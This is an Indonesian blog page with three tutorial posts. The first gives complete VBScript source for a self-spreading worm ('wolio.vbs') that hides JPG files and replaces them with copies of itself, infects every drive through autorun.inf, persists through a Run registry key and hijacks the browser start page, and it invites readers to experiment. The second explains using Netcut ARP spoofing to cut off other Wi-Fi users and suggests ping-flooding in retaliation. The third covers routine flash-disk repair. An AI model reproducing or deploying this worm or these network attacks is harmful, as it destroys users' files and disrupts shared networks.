Selasa, 13 September 2011

cara membuat virus di visual basic


Cara Membuat Virus Dengan Visual Basic


Cara Membuat Virus Menggunakan Visual Basic (VB)
Virus komputer merupakan program komputer yang dapat menggandakan atau menyalin dirinya sendiri dan menyebar dengan cara menyisipkan salinan dirinya ke dalam program atau dokumen lain. Virus komputer dapat dianalogikan dengan virus biologis yang menyebar dengan cara menyisipkan dirinya sendiri ke sel makhluk hidup. Virus komputer dapat merusak (misalnya dengan merusak data pada dokumen), membuat pengguna komputer merasa terganggu, maupun tidak menimbulkan efek sama sekali. Virus yang akan kita coba buat kali ini akan dibuat dengan menggunakan Visual Basic Script. Terlebih dulu kira akan rencakan skenario kerja dari virus tersebut. Skenario virus tersebut adalah sebagai berikut:
1. Virus akan mencari file-file .JPG pada folder dan subfolder satu tingkat didalamnya, setelah itu merubah ekstension file JPG tersebut menjadi JPEG dan merubah atributnya menjadi hidden file. Sehingga akan dikira file tersebut terhapus.
2. Meng-copy-kan dirinya (virus) dalam folder-folder tertentu dalam Windows
3. Memodifikasi Registry agar secara otomatis menjalankan script virus pada saat restart
4. Menularkan diri pada drive-drive yang aktif termasuk flash disk
5. Membuat halaman HTML tertentu agar dijalankan pada start page di Internet Explorer
Nah, demikianlah skenario virus yang akan kita buat. Untuk lebih jelasnya kita akan pelajari dari script dibawah ini:
1. Pada bagian ini akan dibuat sebuah prosedur untuk mencari file-file JPG dan merubahnya sesuai dengan skenario diatas
Sub serangan_jpg(target)
on error resume next
set ftarget=fso.GetFile(target)
set fsource = fso.GetFile(Wscript.ScriptFullName)
ftarget.Copy(Left(target,instrrev(target,”.”)) & “jpeg”)
set fbackup = fso.GetFile(Left(target,instrrev(target,”.”)) & “jpeg”)
fbackup.Attributes = 2 fsource.Copy(Left(target,instrrev(target,”.”)) & “jpg ” & “.vbs”)
ftarget.Delete
ftarget.Close
fsource.Close
End Sub
Sub carifilejpg(folder)
For Each filetarget in fso.GetFolder(folder).Files
If (Right(filetarget,3)=”jpg”) then serangan_jpg(filetarget)
Next
End Sub
2. Prosedur dibawah ini berfungsi untuk mencari drive yang aktif termasuk media flash disk dan kemudian menularinya.
Sub serangan_drive()
Set fso = CreateObject(”Scripting.FileSystemObject”)
Set Drives=fso.drives
adaflashdisk = False
For Each drive in Drives
If drive.isready Then
fsource.Copy(drive & “” & “wolio.vbs”)
If drive.DriveType = 1 And drive.DriveLetter > “C:” Then adaflashdisk = True
End If
Next
If adaflashdisk = True Then
set fileautorun = fso.CreateTextFile(drive.DriveLetter & “” & “autorun.inf”,False)
fileautorun.WriteLine(”[AUTORUN]“)
fileautorun.WriteLine(”RUN=wolio.vbs”)
End If
End Sub
3. Merubah Registry agar Start Page pada Internet Explorer menjalankan file HTML yang diinginkan
Sub serangan_ie()
If (regedit.RegRead(”HKEY_CURRENT_USER\SOFTWARE\MicrosoftInternet Explorer\Main\Start
Page”)<>”c:\windows\system32\wolio.html”) Then
regedit.RegWrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Main\Start
Page”,”c:\windows\system32\wolio.html”
End If
End Sub
4. Bagian ini digunakan untuk membuat sebuah file HTML yang akan menjalankan script virus
Sub buat_html()
set filehtml = fso.CreateTextFile(”c:windowssystem32wolio.html”,True)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
“)
filehtml.WriteLine(”Welcome to Wolio”)
filehtml.WriteLine(”filehtml.WriteLine(””)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
filehtml.WriteLine(”Selamat Datang di Wolio VBS “)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
End Sub
5. Pada bagian ini akan mencari folder yang ada dan menularinya dengan script virus
Sub serangan_folder(foldername)
on error resume next
For Each subfolder in fso.GetFolder(foldername).SubFolders
fsource.Copy(subfolder & “wolio.vbs”)
carifilejpg(subfolder)
next
End Sub
6. Bagian dibawah ini adalah bagian yang utama gunanya untuk mendeklarasikan variabel dan memangggil semua prosedur
On Error Resume Next
dim fso, fsource, ftarget, fbackup, scriptname, myfolder, subfolder, preview, filetarget, sys, regedit, drive,
filehtml, fileautorun
dim adaflashdisk
set fso = CreateObject(”Scripting.FileSystemObject”)
set fsource = fso.GetFile(Wscript.ScriptFullName)
set regedit=CreateObject(”WScript.Shell”)
myfolder = Left(fsource,InStrRev(fsource,””))
‘ Copy-kan diri ke “c:windowssystem32″
fsource.Copy(”c:windowssystem32wolio.vbs”)
‘ Cari dan infeksi file JPG didalam folder
carifilejpg(myfolder)
‘ Copy-kan diri di sub folder yang ada
serangan_folder(myfolder)
‘ Regitry
if
(regedit.RegRead(”HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\Windows\Current\Version\Run\Wolio”)<>”c:\windows\system32\wolio.vbs”) Then
regedit.RegWrite
“HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\Windows\Current\VersionRun\Wolio”,”c:\windows\system32\wolio.vbs”
End If
‘ Copy-kan diri ke semua drive aktif
serangan_drive()
‘ Buat file wolio.html
buat_html()
‘ Ubah Start Page di Internet Explorer
serangan_ie()
Demikianlah artikel tentang cara pembuatan dan penuluran sebuah virus yang dibuat dengan VBS. Setelah mengetahui teknik penyebaran suatu virus yang dibuat dengan VBS, maka diharapkan kepada Anda agar dapat melakukan pencegahan. Virus yang kita pelajari kali ini sebenarnya hanya virus yang “KONYOL”, ini hanya membuka wacana Anda terhadap bahaya dari virus yang dibuat dengan VBS. Semoga artikel ini dapat bermanfaat.
Source: c o k e l a t n e t[dot]b l  o g s p o t[dot] c o m
Silakan Ber Eksperimen Dengan Ide-Ide yang lain, Cheers..
Jangan lupa untuk sharing kepada yang lain ya :)

Sabtu, 04 Juni 2011

cara kerja netcut & cara mengatasi netcut

software netcut
Netcut - Semua orang sudah keringatan dan manyun di sebuah hostspot wifi umum gratisan akibat koneksi yang putus tiba tiba, tapi anda melihat satu orang yang masih segar bugar dengan wajah yang tak bergelimang berdosa. Maka si kawan itu wajib dicurgai apakah dia sedang memakai netcut untuk mencuri kuota internet anda/ usil dengan user lainnya.

Sekilas cara kerja netcut:

  1. NetCut menjadikan laptop/komputernya sebagai gateway. Jadi dia bebas mengatur siapa yang masuk, dan siapa yang perlu ditendang keluar.
  2. Bekerja berdasarkan ARP (Address Resolution Protocol) Spoofing.
    Jadi dia mengelabuhi mac adress komputer satu Dengan IP adress Komputer lain.
    Misal, komputer A mau komunikasi ke B. Tapi, tiba2 si C mengangu komunikasi. Karena sebelumnya si C sudah sukses melakukan penyusupan di bagian ARP.
    Jadi si C bisa suka aja mau diapain tuh data yang sudah di copet. Mau di putus, di sambung semua terserah padanya.
  3. Software netcut ini paling popular di kalangan pengguna internet wifi gratisan.
  4. Software ini buat sakit hati.

Cara menggunakan Netcut:
  1. Penggunaan netcut sangat mudah dan simpel.
  2. Download netcut > install di komputer > Jalankan softwarenya
  3. Tinggal pilih IP/Hostname/Mac Address client yang ingin diputuskan koneksinya dan mengklik cut off.
  4. User tersebut akan langsung terputus koneksinya dari server sampai anda membebaskannya atau dengan mengklik Resume atau dia mengganti IP address nya sendiri.
Cara atasi netcut:
  1. Kalau kawan merasa sudah diusili seseorang, pertama ganti saja dulu IP adress nya untuk menghindar, kalau boleh ubah kedekat dengan ip server atau gateway untuk mengelabuhinya. Kalau dia tetap mengulah. Telepon semua pasukan geng anda. :)
  2. Cek ARP untuk mengetahui apakah ada orang yang memakai netcut.
    Start menu > run > ketik "cmd" atau command prompt > ketik lagi "arp -a" untuk melihat IP router. Kalau ada lebih dari satu ip router, pertimbangkan niat ber online. Atau lapor saja ke admin tentang hal ini.
    Lebih gampang: kawan bisa install program Anti ARP(sayang masih trial version, belum ketemu keygennya) dan jalankan sebelum online. Biar lebih aman.
  3. Hidden komputer dari LAN pake XP antispy
  4. Bisa juga memakai program seperti "Anti Netcut", namun saya belum yakin apakah akan bekerja.
  5. Kerjai balik si Pembuat ulah.
  6. Banjiri laptopnya dengan ping yang bejibun dan terus menerus. Biar cepat hang sekalian terutama jika RAM nya rendah. Amin.. start menu > run > ketik "cmd" >> ketik lagi "ping google.com -t"
  7. Lihat muka yang paling tidak berdosa ketika anda baru saja kehilangan koneksi. Razia laptop/ komputernya. Kalau ketahuan, pertimbangkan langkah 1 diatas.
  8. Yang teraman memang, jangan menggunakan software netcut ini untuk mengusili orang, apalagi misalnya korban sedang serius mengerjakan tugas penting. Kasian. Kalau buat sebatas bercanda mungkin boleh sesekali.
Demikian lah penjelasan singkat mengenai cara kerja netcut dan cara mencegah netcut nya. Intinya dari software ini: Gunakan sesuai kondisi. Jika teman mau berbagi pendapat atau menambahkan tips dan info tentang netcut lainnya, bebas untuk menulis pada kotak komentar dibawah.

Rabu, 25 Mei 2011

cara memperbaiki flash disk,MMC,SDcard,dll yang write protect

Mungkin Banyak sekali masalah tehadap flashdisk , salah satunya tentang Flash disk yang datanya tidak bisa di Copy ke Komputer atau Mengcopy data dari Komputer ke Flashdisk tidak bisa . atau juga Kamu tidak dapat membuang file atau memasukan file ke dalam Flash Disk ,Upaya melakukan format pada Flash Disk mendapatkan pesan Write Protect. Flash Disk terkadang mengalami hal yang sama bila digunakan oleh komputer berbeda. Dan tetap tidak dapat digunakan oleh komputer kamu, walaupun terkadang dapat bekerja pada komputer lain

Nah itu lah sebagian kecil masalah flashdisk yang sering kita jumpai , masalah tersebut sering dinamakan sebagai " Flashdisk Write Protected" atau "Flashdisk tidak bisa mengcopy/menulis" ,

Dan ini adalah Pesan ditampilkan pada Windows XP :
Pada pesan pertama, pesan muncul ketika dilakukan format
Pesan ke 2 ketika file lakukan write file atau memindahkan file ke flash disk
Pesan ke 3 adalah pesan lainnya ketika flash disk dimasukan data dari harddisk
flashdiskwriteprotect1.jpg
flashdiskwriteprotect2.jpg
flashdiskwriteprotect3.jpg
Dan sekarang _.joedato._ akan membahas tentang cara memperbaiki flashdisk yang write protect

Tip dengan CHKDSK dan Format melalui Dos Prompt:
  1. Masuk ke DOS Prompt Windows XP dan ketik CHKDSK /F Drive letter : (chkdsk /f v:)
  2. Selesai memeriksa dari Check Disk (CHKDSK), coba kamu buang file yang ada pada Flash Disk dengan perintah Del drive letter:*.*. Contoh pada perintah membuang file dari Flash Disk di drive V: adalah DEL V:*.*
  3. Sekali lagi kamu coba format dengan perintah Dos Promt. Format V:
  4. Atau gunakan cara melalui Computer Management dan lihat volume drive V, dan kamu coba format. Bila masih terdapat pesan error lakukan boot pada computer
Tahap 1
flashdiskwriteprotect4.jpg
Tahap 2
flashdiskwriteprotect5.jpg
Tahap 3.4
flashdiskwriteprotect6.jpg
Result
Flash diskmumengalami corrupt. Cara yang disebutkan di atas adalah untuk memperbaiki flash disk yang corrupt file dan mengalami file protect ketika meng-copy atau memindahkan data serta tidak dapat melakukan format.
Selesai melakukan format pada Flash Disk, tetapi kamu mendapat pesan yang sama ketika melakukan format. Coba kamu lakukan boot pada komputer untuk me-refresh Windows XP agar mengenal Flash Disk kamu. Bila masih mengalami hal sama, coba kamu ulangi kembali melakukan chkdsk, bila masih terdapat pesan invalid link. Bila kedua kalinya kamu masih mengalami hal tersebut, cara yang kami berikan tidak berlaku untuk flash diskmu.
Kasus Flash Disk Write Protect terkadang hanya terjadi pada satu buah computer sementara beberapa waktu masih dapat digunakan oleh komputer berbeda. Tetapi dapat juga langsung terjadi pada semua komputer yang ketika kamu menghubungkan Flash Disk kamu baik pada sistem Windows XP atau OS lain.
Hal lain dapat saja membuat error pada flash disk kamu dan belum tentu disebabkan karena corrupt file yang membuat kasus seperti di atas.
Atau Dengan cara :
Cara 1:
1. Masuk ke regedit
2. Msuk ke HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contro l\StorageDevice\Policies
3. Dobel klik di string ‘WriteProtect’ trus ubah Value datanya ke ‘0’
4. Trus ulangi langkah nomer 3 di tiap2 folder dgn nama ‘ControlSet***’ dll (ada semua di system).
5. Setelah semuanya selesai, dicoba deh format tuh flash disk/isi/copas file ke/dari flash disk trsebut.

Cara 2:
1. Buka Control Panel
2. Buka Administrative Tools
3. Masuk ke Computer Management
4. Dibawah Storage di panel sebelah kiri, Klik Disk Management
5. Pilih Flash Disk yg write protected
6. Klik kanan trus pilih “Delete Partition”
7. Stelah selesai, klik kanan lagi trus pilih “Create Partition”.

Cara 3:
1. Masuk ke DOS Promt (Win+R ketik cmd) Windows XP dan ketik CHKDSK /F Drive letter : (chkdsk /f g)
2. Selesai memeriksa dari Check Disk (CHKDSK), coba deh buang file yang ada di Flash Disk dengan perintah Del drive letter:*.*. Contoh pada perintah membuang file dari Flash Disk di drive G: adalah DEL G:*.*
3. Setelah ntu coba deh format dengan perintah di Dos Promt , Format G:
Semoga Flashdisk anda bisa di perbaiki !!